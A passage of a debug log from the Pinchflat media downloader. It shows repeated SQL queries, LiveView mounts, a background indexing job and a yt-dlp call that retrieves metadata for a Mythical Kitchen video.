s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.694 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:48:29.694 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 20:48:29.694 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.694 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 20:48:29.694 [debug] QUERY OK source="media_items" db=0.0ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 20:48:29.694 [debug] QUERY OK source="sources" db=0.0ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.695 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 20:48:29.695 [debug] QUERY OK source="media_items" db=0.1ms idle=0.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 20:48:29.695 [info] Sent 200 in 3ms 20:48:29.774 [info] CONNECTED TO Phoenix.LiveView.Socket in 17µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CiQaDQwSKS84REMZCwM3Kn92RAVFEh8XaCHnbwPChwsnSOXiM5s4rEiz", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:29.782 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "pending", "source_id" => 2} 20:48:29.782 [debug] QUERY OK source="sources" db=0.1ms idle=87.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.782 [debug] QUERY OK source="media_items" db=0.0ms idle=88.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:48:29.783 [debug] QUERY OK source="media_items" db=0.1ms idle=88.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 20:48:29.783 [debug] Replied in 940µs 20:48:29.783 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "downloaded", "source_id" => 2} 20:48:29.783 [debug] QUERY OK source="sources" db=0.0ms idle=88.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.783 [debug] QUERY OK source="media_items" db=0.0ms idle=88.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 20:48:29.784 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 20:48:29.784 [debug] Replied in 502µs 20:48:29.784 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "other", "source_id" => 2} 20:48:29.784 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:29.784 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 20:48:29.785 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 20:48:29.785 [debug] Replied in 660µs 20:48:29.785 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:48:29.785 [debug] Replied in 29µs 20:48:30.117 [info] {"args":{"id":2},"id":64,"meta":{},"system_time":1774658910117770067,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:48:30.118 [debug] QUERY OK source="sources" db=0.0ms idle=333.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:30.118 [debug] QUERY OK source="settings" db=0.0ms idle=333.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:30.118 [debug] QUERY OK source="media_items" db=0.1ms idle=333.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:48:30.118 [debug] QUERY OK source="media_items" db=0.0ms idle=6.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 20:48:30.118 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:30.118 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:30.118 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:30.119 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 20:48:30.119 [debug] Current batch of media processed. Will check again in 1000ms 20:48:30.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:30.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:30.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:30.119 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/70/c570dd43d7c88f6dc377fc7bf3c1694c5caf857d7ccb2c07c2fa433f75df8ccd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:48:30.656 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Jimmy O. Yang eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Jimmy's Last Meal\n0:20 Rap Beginnings\n2:11 How Often Do You Think About Death?\n3:10 1st Course\n6:19 Interior Chinatown\n7:35 Asian Accents Are Sexy\n10:08 Freedom & The El Pollo Loco Salsa Bar\n11:40 Learning Kung Fu\n12:33 2nd Course\n16:12 The Art & Existential Terror Of Making Rice\n16:57 My Pet Chicken Gary\n19:33 Nepo-Daddy Relationship\n21:40 Choosing Yourself\n22:57 3rd Course\n24:30 Comedy Is Like Cooking\n25:09 Having Nothing To Lose & Building Community\n27:40 Playing A Hero\n29:13 Family Ties\n32:02 4th Course\n32:49 Responsible Representation\n37:13 Legacy\n39:05 Infinity Is Scary\n40:29 What Do You Think Happens When You Die?\n41:15 Lightning Round\n44:25 Jimmy's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2760, "filename" => "/downloads/Last Meals/2024-12-12 Jimmy O. Yang Eats His Last Meal/Jimmy O. Yang Eats His Last Meal [bc6aG09SqwU].mp4", "id" => "bc6aG09SqwU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bc6aG09SqwU", "playlist_index" => 61, "timestamp" => 1734001251, "title" => "Jimmy O. Yang Eats His Last Meal", "upload_date" => "20241212"} 20:48:30.657 [debug] QUERY OK source="sources" db=0.1ms idle=538.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:30.657 [debug] QUERY OK source="sources" db=0.0ms idle=538.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:30.657 [debug] QUERY OK source="media_items" db=0.1ms idle=538.1ms SELECT 